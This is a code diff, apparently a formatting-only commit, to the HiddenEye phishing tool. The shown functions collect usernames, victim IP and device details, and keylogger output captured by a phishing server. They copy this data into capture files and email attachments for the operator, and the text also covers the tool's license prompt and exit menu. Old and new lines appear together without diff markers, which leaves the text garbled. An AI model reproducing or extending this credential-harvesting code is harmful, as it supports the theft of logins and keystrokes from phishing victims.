eula = eula.open('r')
with open('eula.txt', 'r') as f:
if 'eula = True' in f.read():
print('Found your license agreement, proceeding...')
eula = eula.open("r")
with open("eula.txt", "r") as f:
if "eula = True" in f.read():
print("Found your license agreement, proceeding...")
return True
else:
print('Please read and accept license.')
print("Please read and accept license.")
return False
else:
eula.touch(mode=0o777, exist_ok=True)
eula = open('eula.txt', 'w')
eula = open("eula.txt", "w")
eula.write(localization.write_eula + "eula = False")
eula.close()
print('Please accept EULA.')
print("Please accept EULA.")
return False
def exit_message(port=80): # Message when HiddenEye exit
choice = input(localization.lang_exit_message["choice"])
choice.lower()
if choice == 'r':
run_command(['sudo', 'python3', 'HiddenEye.py'])
elif choice == 'm':
if choice == "r":
run_command(["sudo", "python3", "HiddenEye.py"])
elif choice == "m":
email_prompt.captured_data_email_confirmation(port)
elif choice == 's':
elif choice == "s":
server_runner.server_selection(port)
elif choice == 'x':
run_command('clear')
elif choice == "x":
run_command("clear")
print(global_localization.hidden_eye_logo)
print(' ' + global_localization.by_darksec)
print(' ' +
global_localization.official_website_link)
print(" " + global_localization.by_darksec)
print(" " + global_localization.official_website_link)
print(localization.lang_exit_message["help_to_improve_this_tool"])
print(localization.lang_exit_message["tell_if_page_got_broken"])
print(
localization.lang_exit_message["make_your_pull_request_or_issue"])
print(localization.lang_exit_message["make_your_pull_request_or_issue"])
print(localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["forum_suggestion"])
print(localization.lang_exit_message["financial_support"])
print(localization.lang_exit_message["thank_you"])
else:
run_command('clear')
run_command("clear")
return exit_message(port)
def terms_of_service_message(): # menu where user select what they wanna use
# Terms Of Service
# print("\n\n\n {1}WITH GREAT {0}POWER {2}- {1}COMES GREAT {0}RESPONSIBILITY ".format(red, purple, blue))
# print("\n\n\n {1}WITH GREAT {0}POWER {2}- {1}COMES GREAT {0}RESPONSIBILITY ".format(red, purple, blue))
# if input("\n\n\n\n{2}[{1}!{2}]{3} Do you agree to use this tool for educational/testing purposes only? {1}({0}Y{1}/{2}N{1})\n{2}HiddenEye >>> {0}".format(default_palette[2], default_palette[4], default_palette[0], orange)).upper() != 'Y':
# run_command('clear')
@ -76,18 +86,18 @@ def terms_of_service_message(): # menu where user select what they wanna use
if not agreement:
print(localization.lang_terms_of_service_message["GPL_3.0"])
print(
localization.lang_terms_of_service_message["great_power_great_responsibility"])
print(
localization.lang_terms_of_service_message["do_you_accept_license"])
print(
localization.lang_terms_of_service_message["enter_this_to_confirm"])
localization.lang_terms_of_service_message[
"great_power_great_responsibility"
]
)
print(localization.lang_terms_of_service_message["do_you_accept_license"])
print(localization.lang_terms_of_service_message["enter_this_to_confirm"])
agreement = input(global_localization.input_line)
if localization.text_to_confirm_license not in agreement:
print(
localization.lang_terms_of_service_message["you_are_not_allowed"])
print(localization.lang_terms_of_service_message["you_are_not_allowed"])
exit()
else:
eula = open('eula.txt', 'w')
eula = open("eula.txt", "w")
eula.write(localization.write_eula + "eula = True")
eula.close()
return True
@ -103,79 +113,92 @@ def credentials_collector(port):
print(localization.lang_credentials_collector["waiting_for_interaction"])
while True:
with open('Server/www/usernames.txt') as creds:
with open("Server/www/usernames.txt") as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(
default_palette[2], default_palette[3], lines))
log_writer(
localization.lang_credentials_collector["credentials_found"]
+ "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)
)
# run_command("touch Server/CapturedData/usernames.txt
pathlib_Path(
"Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
pathlib_Path("Server/CapturedData/usernames.txt").touch(
mode=0o777, exist_ok=True
)
# && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt
captured_usernames = open(
'Server/CapturedData/usernames.txt', 'a')
new_usernames = open('Server/www/usernames.txt')
captured_usernames = open("Server/CapturedData/usernames.txt", "a")
new_usernames = open("Server/www/usernames.txt")
captured_usernames.write(new_usernames.read())
new_usernames.close()
captured_usernames.close()
# && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt
copyfile('Server/CapturedData/usernames.txt',
'Defs/FeatureManager/EmailManager/attachments/usernames.txt')
copyfile(
"Server/CapturedData/usernames.txt",
"Defs/FeatureManager/EmailManager/attachments/usernames.txt",
)
# && echo -n '' > Server/www/usernames.txt")
new_usernames = open('Server/www/usernames.txt', 'w')
new_usernames.write('')
new_usernames = open("Server/www/usernames.txt", "w")
new_usernames.write("")
new_usernames.close()
with open('Server/www/ip.txt') as creds:
with open("Server/www/ip.txt") as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(
default_palette[2], default_palette[3], lines))
log_writer(
localization.lang_credentials_collector["device_details_found"]
+ "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)
)
# run_command('touch Server/CapturedData/ip.txt
pathlib_Path(
"Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
pathlib_Path("Server/CapturedData/ip.txt").touch(
mode=0o777, exist_ok=True
)
# && cat Server/www/ip.txt >> Server/CapturedData/ip.txt
captured_ips = open('Server/CapturedData/ip.txt', 'a')
new_ips = open('Server/www/ip.txt')
captured_ips = open("Server/CapturedData/ip.txt", "a")
new_ips = open("Server/www/ip.txt")
captured_ips.write(new_ips.read())
new_ips.close()
captured_ips.close()
# && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt
copyfile('Server/CapturedData/ip.txt',
'Defs/FeatureManager/EmailManager/attachments/ip.txt')
copyfile(
"Server/CapturedData/ip.txt",
"Defs/FeatureManager/EmailManager/attachments/ip.txt",
)
# && rm -rf Server/www/ip.txt
new_ips = open('Server/www/ip.txt', 'w')
new_ips = open("Server/www/ip.txt", "w")
# && touch Server/www/ip.txt')
new_ips.write('')
new_ips.write("")
new_ips.close()
creds.close()
with open('Server/www/KeyloggerData.txt') as creds:
with open("Server/www/KeyloggerData.txt") as creds:
lines = creds.read().rstrip()
if len(lines) != 0:
log_writer(global_localization.line_of_dots)
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(
default_palette[2], default_palette[3], lines))
log_writer(
localization.lang_credentials_collector["getting_pressed_keys"]
+ "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)
)
# run_command('touch Server/CapturedData/KeyloggerData.txt
pathlib_Path(
'Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
pathlib_Path("Server/CapturedData/KeyloggerData.txt").touch(
mode=0o777, exist_ok=True
)
# && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt
captured_keys = open(
'Server/CapturedData/KeyloggerData.txt', 'a')
new_keys = open('Server/www/KeyloggerData.txt')
captured_keys = open("Server/CapturedData/KeyloggerData.txt", "a")
new_keys = open("Server/www/KeyloggerData.txt")
captured_keys.write(new_keys.read())
new_keys.close()
captured_keys.close()
# && cp Server/CapturedData/KeyloggerData.txt Defs/Send_Email/attachments/KeyloggerData.txt
copyfile('Server/CapturedData/KeyloggerData.txt',
'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt')
copyfile(
"Server/CapturedData/KeyloggerData.txt",
"Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt",
)
# && rm -rf Server/www/KeyloggerData.txt
new_keys = open('Server/www/KeyloggerData.txt', 'w')
new_keys = open("Server/www/KeyloggerData.txt", "w")
# && touch Server/www/KeyloggerData.txt')
new_keys.write('')
new_keys.write("")
new_keys.close()
log_writer(global_localization.line_of_dots)
@ -185,13 +208,19 @@ def credentials_collector(port):
def log_writer(ctx): # Writing log
logFile = open("log.txt", "w")
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(
default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n")
logFile.write(
ctx.replace(default_palette[0], "")
.replace(default_palette[1], "")
.replace(default_palette[2], "")
.replace(default_palette[3], "")
.replace(default_palette[4], "")
+ "\n"
)
print(ctx)
def port_selector(): # Question where user must select port
run_command('clear')
run_command("clear")
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
@ -229,8 +258,8 @@ def global_message():
print(global_localization.line_of_dots)
def verify_connection(host='https://google.com'): # Connection check
run_command('clear')
def verify_connection(host="https://google.com"): # Connection check
run_command("clear")
try:
req = requests.get(host, timeout=25)
if req.status_code == 200:
@ -258,7 +287,7 @@ def check_permissions():
def check_php():
try:
try_to_run_command(['php', '-v'])
try_to_run_command(["php", "-v"])
print(localization.lang_check_php["found"])
except:
print(localization.lang_check_php["not-found"])

View File

@ -6,7 +6,15 @@
#
from subprocess import call as run_command, check_call as try_to_run_command, Popen as run_background_command, check_output, CalledProcessError, DEVNULL, PIPE
from subprocess import (
call as run_command,
check_call as try_to_run_command,
Popen as run_background_command,
check_output,
CalledProcessError,
DEVNULL,
PIPE,
)
from distutils.dir_util import copy_tree as webpage_set
from time import sleep as wait
from os import path, system, chmod, stat, mkdir, remove, chdir, replace, getuid, kill